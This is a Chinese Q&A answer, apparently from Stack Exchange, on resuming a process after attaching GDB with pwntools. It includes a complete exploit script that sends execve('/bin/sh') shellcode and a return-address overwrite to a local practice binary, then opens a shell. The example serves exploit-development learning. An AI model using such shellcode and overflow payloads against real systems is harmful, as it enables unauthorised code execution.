如何在Python交互模式下恢复运行关联二进制调试的程序?
解决方法
1. 让GDB attach后自动恢复进程
你的脚本里gdb.attach(r)会默认暂停目标进程,导致后续发送payload后进程无法继续执行,最终r.interactive()进入交互模式后卡住。可以修改attach命令,添加自动继续进程的GDB脚本:
gdb.attach(r, gdbscript='continue')
这样GDB连接进程后会自动让它继续运行,无需手动在GDB窗口输入命令。
2. 手动恢复进程的操作
如果已经运行脚本进入暂停状态:
- 切换到GDB所在的tmux窗口,输入
c(全称continue)并回车,让目标进程继续执行。 - 切回运行Python脚本的终端,此时
r.interactive()的交互模式会响应,直接输入命令(比如ls)或按回车就能和shell交互。
3. 优化脚本(可选)
原来的time.sleep(3)是留时间给你手动操作GDB,添加自动continue后可以去掉这个延时,让脚本自动完成流程:
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] r = process("./shellcode") gdb.attach(r, gdbscript='continue') shell = b"\xEB\x14\x5F\x48\x89\xFE\x48\x83\xC6\x08\x48\x89\xF2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05\xE8\xE7\xFF\xFF\xFF/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00" r.recvuntil(b"What is your name?") payload = shell.ljust(1016, b"A") + p64(0x601080) r.send(payload) r.interactive()
内容的提问来源于stack exchange,提问作者kauko
相关产品推荐
相关产品推荐

